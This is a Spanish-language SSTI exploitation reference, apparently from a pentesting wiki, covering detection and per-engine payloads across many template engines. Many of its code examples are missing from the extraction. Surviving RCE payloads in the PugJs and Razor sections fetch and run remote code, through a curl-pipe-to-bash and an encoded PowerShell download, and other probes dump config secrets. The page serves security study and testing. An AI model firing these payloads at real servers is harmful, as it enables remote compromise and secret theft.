SSTI (Server Side Template Injection)
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
¿Qué es SSTI (Inyección de Plantillas del Lado del Servidor)?
La inyección de plantillas del lado del servidor es una vulnerabilidad que ocurre cuando un atacante puede inyectar código malicioso en una plantilla que se ejecuta en el servidor. Esta vulnerabilidad se puede encontrar en varias tecnologías, incluyendo Jinja.
Jinja es un motor de plantillas popular utilizado en aplicaciones web. Consideremos un ejemplo que demuestra un fragmento de código vulnerable utilizando Jinja:
En este código vulnerable, el parámetro name
de la solicitud del usuario se pasa directamente a la plantilla utilizando la función render
. Esto puede permitir potencialmente a un atacante inyectar código malicioso en el parámetro name
, lo que lleva a una inyección de plantilla del lado del servidor.
Por ejemplo, un atacante podría crear una solicitud con una carga útil como esta:
El payload {{bad-stuff-here}}
se inyecta en el parámetro name
. Este payload puede contener directivas de plantilla Jinja que permiten al atacante ejecutar código no autorizado o manipular el motor de plantillas, potencialmente ganando control sobre el servidor.
Para prevenir vulnerabilidades de inyección de plantillas del lado del servidor, los desarrolladores deben asegurarse de que la entrada del usuario esté debidamente saneada y validada antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.
Detección
Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialmente, fuzzing de la plantilla es un enfoque sencillo. Esto implica inyectar una secuencia de caracteres especiales (${{<%[%'"}}%\
) en la plantilla y analizar las diferencias en la respuesta del servidor a datos regulares frente a este payload especial. Los indicadores de vulnerabilidad incluyen:
Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
Ausencia del payload en la reflexión, o partes de él faltantes, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
Contexto de Texto Plano: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo,
{{7*7}}
,${7*7}
).Contexto de Código: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiar
greeting
enhttp://vulnerable-website.com/?greeting=data.username
para ver si la salida del servidor es dinámica o fija, como engreeting=data.username}}hello
devolviendo el nombre de usuario.
Fase de Identificación
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos de lenguaje. Los payloads comunes que causan errores incluyen ${7/0}
, {{7/0}}
, y <%= 7/0 %>
. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
Herramientas
un escáner SSTI + CSTI eficiente que utiliza poliglotas novedosas.
una tabla interactiva que contiene los poliglotas de inyección de plantillas más eficientes junto con las respuestas esperadas de los 44 motores de plantillas más importantes.
Explotaciones
Genérico
En esta lista de palabras puedes encontrar variables definidas en los entornos de algunos de los motores mencionados a continuación:
Java
Java - Inyección básica
Java - Recuperar las variables de entorno del sistema
Java - Recuperar /etc/passwd
FreeMarker (Java)
Puedes probar tus payloads en https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legado)
${7*'7'} Nada
${foobar}
Freemarker - Bypass de sandbox
⚠️ solo funciona en versiones de Freemarker anteriores a 2.3.30
Más información
En la sección de FreeMarker de https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Más información
En la sección de Velocity de https://portswigger.net/research/server-side-template-injection
Thymeleaf
En Thymeleaf, una prueba común para vulnerabilidades SSTI es la expresión ${7*7}
, que también se aplica a este motor de plantillas. Para la posible ejecución remota de código, se pueden usar expresiones como las siguientes:
SpringEL:
OGNL:
Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, se admite inlining de expresiones para otras ubicaciones de plantillas, utilizando sintaxis como [[...]]
o [(...)]
. Así, una carga útil de prueba SSTI simple podría verse como [[${7*7}]]
.
Sin embargo, la probabilidad de que esta carga útil funcione es generalmente baja. La configuración predeterminada de Thymeleaf no admite la generación dinámica de plantillas; las plantillas deben estar predefinidas. Los desarrolladores tendrían que implementar su propio TemplateResolver
para crear plantillas a partir de cadenas sobre la marcha, lo cual es poco común.
Thymeleaf también ofrece preprocesamiento de expresiones, donde las expresiones dentro de dobles guiones bajos (__...__
) son preprocesadas. Esta característica se puede utilizar en la construcción de expresiones, como se demuestra en la documentación de Thymeleaf:
Ejemplo de Vulnerabilidad en Thymeleaf
Considera el siguiente fragmento de código, que podría ser susceptible a explotación:
Esto indica que si el motor de plantillas procesa estas entradas de manera incorrecta, podría llevar a la ejecución remota de código accediendo a URLs como:
Más información
Spring Framework (Java)
Bypass filters
Se pueden usar múltiples expresiones de variables; si ${...}
no funciona, prueba #{...}
, *{...}
, @{...}
o ~{...}
.
Leer
/etc/passwd
Script personalizado para la generación de payloads
Más Información
Manipulación de Vista de Spring (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Versión antigua de Pebble ( < versión 3.0.9):
Nueva versión de Pebble :
Jinjava (Java)
Jinjava es un proyecto de código abierto desarrollado por Hubspot, disponible en https://github.com/HubSpot/jinjava/
Jinjava - Ejecución de comandos
Corregido por https://github.com/HubSpot/jinjava/pull/230
Más información
Hubspot - HuBL (Java)
{% %}
delimitadores de declaración{{ }}
delimitadores de expresión{# #}
delimitadores de comentario{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Busca "com.hubspot.content.hubl.context.TemplateContextRequest" y descubre el proyecto Jinjava en Github.
Más información
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) es una característica fundamental que facilita la interacción entre la capa de presentación (como páginas web) y la lógica de la aplicación (como beans gestionados) en JavaEE. Se utiliza ampliamente en múltiples tecnologías de JavaEE para agilizar esta comunicación. Las principales tecnologías de JavaEE que utilizan EL incluyen:
JavaServer Faces (JSF): Emplea EL para vincular componentes en páginas JSF a los datos y acciones correspondientes en el backend.
JavaServer Pages (JSP): EL se utiliza en JSP para acceder y manipular datos dentro de las páginas JSP, facilitando la conexión de elementos de la página con los datos de la aplicación.
Contexts and Dependency Injection for Java EE (CDI): EL se integra con CDI para permitir una interacción fluida entre la capa web y los beans gestionados, asegurando una estructura de aplicación más coherente.
Consulta la siguiente página para aprender más sobre la explotación de intérpretes de EL:
EL - Expression LanguageGroovy (Java)
Las siguientes elusiones del Security Manager se tomaron de este writeup.
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
Smarty (PHP)
Más información
En la sección de Smarty de https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Formato de plantilla
Más información
En la sección Twig y Twig (Sandboxed) de https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates es un motor de plantillas nativo de PHP, que se inspira en Twig. Sin embargo, a diferencia de Twig, que introduce una nueva sintaxis, Plates aprovecha el código PHP nativo en las plantillas, lo que lo hace intuitivo para los desarrolladores de PHP.
Controlador:
Plantilla de página:
Plantilla de diseño:
Más información
PHPlib y HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB es lo mismo que PHPlib pero portado a Pear.
authors.tpl
authors.php
Más información
Jade (NodeJS)
Más información
En la sección Jade de https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate motor de plantillas PHP no compilable, que utiliza etiquetas XML para dividir un documento en diferentes partes
Más información
Handlebars (NodeJS)
Traversal de ruta (más información aquí).
= Error
${7*7} = ${7*7}
Nada
Más información
JsRender (NodeJS)
Plantilla | Descripción |
Evaluar y renderizar salida | |
Evaluar y renderizar salida codificada en HTML | |
Comentario | |
y | Permitir código (deshabilitado por defecto) |
= 49
Lado del cliente
Lado del Servidor
Más información
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Ejemplo de renderizado del lado del servidor
Más información
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Sin salida
#{7*7} = #{7*7}
{{console.log(1)}} = Error
Más información
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
Más información
Slim (Ruby)
{ 7 * 7 }
Más información
Python
Consulta la siguiente página para aprender trucos sobre ejecución de comandos arbitrarios eludiendo sandboxes en python:
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
Más información
Jinja2 (Python)
Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo de unicode, un entorno de ejecución integrado opcional y aislado, es ampliamente utilizado y tiene licencia BSD.
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nada
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Formato de plantilla
RCE no dependiente de __builtins__
:
Más detalles sobre cómo abusar de Jinja:
Jinja2 SSTIOtros payloads en https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Más información
Razor (.Net)
@(2+2) <= Éxito
@() <= Éxito
@("{{code}}") <= Éxito
@ <=Éxito
@{} <= ¡ERROR!
@{ <= ¡ERRROR!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
El método .NET System.Diagnostics.Process.Start
se puede usar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en https://github.com/cnotin/RazorVulnerableApp
Más información
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nada<%= response.write(date()) %>
= <Fecha>
Más Información
Mojolicious (Perl)
Incluso si es perl, utiliza etiquetas como ERB en Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
SSTI en GO
En el motor de plantillas de Go, la confirmación de su uso se puede hacer con cargas útiles específicas:
{{ . }}
: Revela la estructura de datos de entrada. Por ejemplo, si se pasa un objeto con un atributoPassword
,{{ .Password }}
podría exponerlo.{{printf "%s" "ssti" }}
: Se espera que muestre la cadena "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Estas cargas útiles deberían devolver "ssti" sin agregar "html" o "js". Se pueden explorar más directivas en la documentación de Go aquí.
Explotación de XSS
Con el paquete text/template
, XSS puede ser directo al insertar la carga útil directamente. En contraste, el paquete html/template
codifica la respuesta para prevenir esto (por ejemplo, {{"<script>alert(1)</script>"}}
resulta en <script>alert(1)</script>
). No obstante, la definición e invocación de plantillas en Go pueden eludir esta codificación: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Explotación de RCE
La explotación de RCE difiere significativamente entre html/template
y text/template
. El módulo text/template
permite llamar a cualquier función pública directamente (usando el valor “call”), lo cual no está permitido en html/template
. La documentación para estos módulos está disponible aquí para html/template y aquí para text/template.
Para RCE a través de SSTI en Go, se pueden invocar métodos de objeto. Por ejemplo, si el objeto proporcionado tiene un método System
que ejecuta comandos, se puede explotar como {{ .System "ls" }}
. Acceder al código fuente suele ser necesario para explotar esto, como en el ejemplo dado:
Más información
Más Exploits
Consulta el resto de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para más exploits. También puedes encontrar información interesante sobre etiquetas en https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Ayuda Relacionada
Si crees que podría ser útil, lee:
Herramientas
Lista de Detección de Fuerza Bruta
Práctica y Referencias
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
Last updated